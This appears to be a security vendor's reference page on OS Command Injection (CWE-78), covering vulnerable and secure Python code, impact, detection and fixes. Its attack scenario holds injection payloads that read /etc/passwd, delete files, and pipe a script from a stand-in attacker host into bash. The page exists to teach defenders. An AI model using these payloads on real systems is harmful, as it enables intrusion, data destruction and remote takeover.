What it is: OS Command Injection (CWE-78) is a type of injection vulnerability that occurs when an application constructs an OS command using untrusted input without neutralizing shell control characters.
Why it matters: A successful attack typically achieves full remote code execution with the application's own privileges — one of the most severe outcomes any vulnerability can have.
How to fix it: Use argument-array command execution APIs that never invoke a shell, instead of building a shell command string from untrusted input.
TL;DR: OS Command Injection lets an attacker append arbitrary system commands to an application’s shell call via unsanitized input; the fix is argument-array execution that bypasses the shell entirely, never string concatenation.
| Field | Value |
|---|---|
| CWE ID | CWE-78 |
| OWASP Category | A05:2025 - Injection |
| CAPEC | CAPEC-108, CAPEC-15, CAPEC-43, CAPEC-6, CAPEC-88 |
| Typical Severity | Critical |
| Affected Technologies | Any language that shells out to OS commands |
| Detection Difficulty | Easy |
| Last Updated | 2026-07-27 |
What is OS Command Injection?
Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) (CWE-78) is a type of injection vulnerability that occurs when a product constructs all or part of an OS command using externally-influenced input, but does not neutralize or incorrectly neutralizes special elements that could modify the intended command. As defined by the MITRE Corporation under CWE-78, and classified by the OWASP Foundation under A05:2025 - Injection, this weakness has a High likelihood of exploit and typically results in full remote code execution.
Quick Summary
OS Command Injection is one of the most consequential vulnerability classes that exists, precisely because the impact is rarely partial — an attacker who successfully injects a command usually gets the same level of access the application process itself has, up to and including full server compromise. Since the targeted application executes the commands, not the attacker directly, any malicious activity can also appear to originate from the application or its owner.
Jump to: Quick Summary · OS Command Injection Overview · How OS Command Injection Works · Business Impact of OS Command Injection · OS Command Injection Attack Scenario · How to Detect OS Command Injection · How to Fix OS Command Injection · Framework-Specific Fixes for OS Command Injection · How to Ask AI to Check Your Code for OS Command Injection · OS Command Injection Best Practices Checklist · OS Command Injection FAQ · Vulnerabilities Related to OS Command Injection · References · Scan Your Own Site
OS Command Injection Overview
What: An application builds an OS command string from untrusted input without neutralizing shell metacharacters, letting an attacker append or alter commands.
Why it matters: Successful exploitation typically grants the attacker the same command-execution capability as the application process itself.
Where it occurs: Any feature that shells out to system utilities (image conversion, network diagnostics, file compression) using untrusted input as part of the command.
Who is affected: Applications that build shell command strings by concatenating user input rather than using argument-array APIs or library calls.
Who is NOT affected: Applications using argument-array execution (never invoking a shell) or dedicated library calls instead of external processes entirely.
How OS Command Injection Works
Root Cause
The application concatenates untrusted input directly into a command string that is passed to a shell for parsing, without neutralizing shell metacharacters.
Attack Flow
- The attacker identifies a feature that passes user input into a shell command (e.g. a “ping this host” diagnostic tool).
- The attacker submits input containing a shell metacharacter and an additional command, e.g.
example.com; cat /etc/passwd. - The application concatenates this directly into the shell command string.
- The shell parses the metacharacter as a command separator and executes both the intended and injected commands.
- The attacker’s injected command runs with the application’s own privileges.
Prerequisites to Exploit
- Untrusted input reaches a shell command string without neutralization.
- The application invokes a shell (directly or via a library that does so internally) to run the command.
- The application process has meaningful privileges the attacker wants to leverage.
Vulnerable Code
import os
def ping_host(host):
os.system(f"ping -c 4 {host}")
host is concatenated directly into a shell command string with no validation at all, so a value like example.com; rm -rf /tmp/data executes both the ping and the attacker’s injected command.
Secure Code
import subprocess
def ping_host(host):
subprocess.run(["ping", "-c", "4", host], check=True)
subprocess.run() with an argument list never invokes a shell to parse the command, so shell metacharacters in host are passed as literal data to ping rather than being interpreted as command syntax.
Business Impact of OS Command Injection
Confidentiality: Attackers may execute commands to read arbitrary files or exfiltrate application and system data.
Integrity: Attackers may modify files, install backdoors, or alter application data via injected commands.
Availability: Attackers may crash, disable, or restart the system, or consume resources via injected commands.
Non-Repudiation: Malicious activity performed via the injected command can appear to originate from the application or its owner, since the application itself executed the commands.
- Full server compromise, since command execution typically inherits the application’s own privileges
- Potential lateral movement to other systems reachable from the compromised host
OS Command Injection Attack Scenario
- An attacker finds a network diagnostic tool that pings a user-supplied hostname.
- They submit
example.com; curl http://attacker.com/shell.sh | bashinstead of a plain hostname. - The shell executes the ping command, then the attacker’s injected command, downloading and running a malicious script.
- The attacker now has a reverse shell on the server with the application’s own privileges.
How to Detect OS Command Injection
Manual Testing
- Identify every feature that passes user input into a shell command or a function that invokes one internally.
- Submit shell metacharacters (
;,|,&&,`,$()) as part of the input. - Confirm whether an injected command (e.g. a time-delay command or a distinctive output string) actually executes.
Automated Scanners (SAST / DAST)
Static analysis can flag calls like os.system(), exec(), or Runtime.exec() fed with unsanitized input directly in source, while dynamic testing with time-based or output-based payloads confirms whether the live application actually executes injected commands.
PenScan Detection
PenScan’s scanner engines actively test inputs that could reach a shell command using real command-injection payloads across common frameworks.
False Positive Guidance
An input field that reaches a command only through an argument-array API (which never invokes a shell) is not vulnerable even if it superficially looks like a command-injection sink — confirm the actual execution API used, not just proximity to a system call.
How to Fix OS Command Injection
- Use argument-array command execution APIs (
subprocess.run([...]),ProcessBuilder,execve) that never invoke a shell to parse a combined string. - Prefer library calls over shelling out to external processes wherever the same functionality is available natively.
- Apply strict allowlist validation on any input that must reach a command, as defense-in-depth.
- Run the process with the lowest privileges required for its task, limiting the blast radius of any successful injection.
Framework-Specific Fixes for OS Command Injection
- Java: use
ProcessBuilderwith an explicit argument list instead ofRuntime.exec(String), which parses a combined command string. - Node.js: use
child_process.execFile()orspawn()with an argument array instead ofexec(), which invokes a shell. - Python/Django: use
subprocess.run()with an argument list instead ofos.system()orshell=True, as shown above. - PHP: use
escapeshellarg()on every argument if a shell call is unavoidable, but preferproc_open()with an argument array where possible.
How to Ask AI to Check Your Code for OS Command Injection
Review the following [language] code block for potential CWE-78 OS Command Injection vulnerabilities and rewrite it using argument-array execution that never invokes a shell: [paste code here]
OS Command Injection Best Practices Checklist
✅ Use argument-array execution APIs instead of shell string concatenation ✅ Prefer library calls over shelling out to external processes ✅ Apply strict allowlist validation on any input reaching a command, as defense-in-depth ✅ Run command-executing processes with least privilege
OS Command Injection FAQ
How does OS Command Injection let an attacker take over a server?
| When user input is concatenated into a string passed to a shell, control characters like “;” or “ | ” let the attacker append an entirely separate command that the shell executes with the application’s own privileges — often enough to gain full remote code execution. |
How is OS Command Injection different from Argument Injection (CWE-88)?
OS Command Injection lets the attacker inject entirely new commands via shell metacharacters; Argument Injection instead manipulates the arguments passed to a single, already-fixed command, which is a related but narrower attack surface.
How likely is OS Command Injection to be exploited according to MITRE?
MITRE rates the likelihood of exploit for this weakness as High, since command-injection payloads are well-documented and the impact (arbitrary code execution) makes it a priority target for automated scanning.
How do I detect OS Command Injection in my own application?
| Identify every place user input reaches a shell command, and test with shell metacharacters (;, | , &&, `, $()) to see whether an injected command actually executes. |
How do I fix OS Command Injection without losing functionality?
Replace shell-string commands with argument-array APIs (execve-style) that never invoke a shell at all, or use library calls instead of external processes wherever the same functionality is available natively.
How does argument-array execution prevent injection where escaping might fail?
An argument-array API passes each argument directly to the program without ever handing a single combined string to a shell for parsing, so there is no shell syntax left for an attacker’s metacharacters to exploit at all.
How can PenScan help find OS Command Injection?
PenScan actively tests inputs that could reach a shell command with real command-injection payloads and confirms whether injected commands actually execute.
Vulnerabilities Related to OS Command Injection
| CWE | Name | Relationship |
|---|---|---|
| CWE-77 | Improper Neutralization of Special Elements used in a Command (‘Command Injection’) | ChildOf |
| CWE-74 | Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’) | ChildOf |
| CWE-88 | Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’) | CanAlsoBe |
References
Scan Your Own Site
Manual code review catches what you know to look for. An automated scan catches what you didn’t. Scan your own website using PenScan to find OS Command Injection and other risks before an attacker does.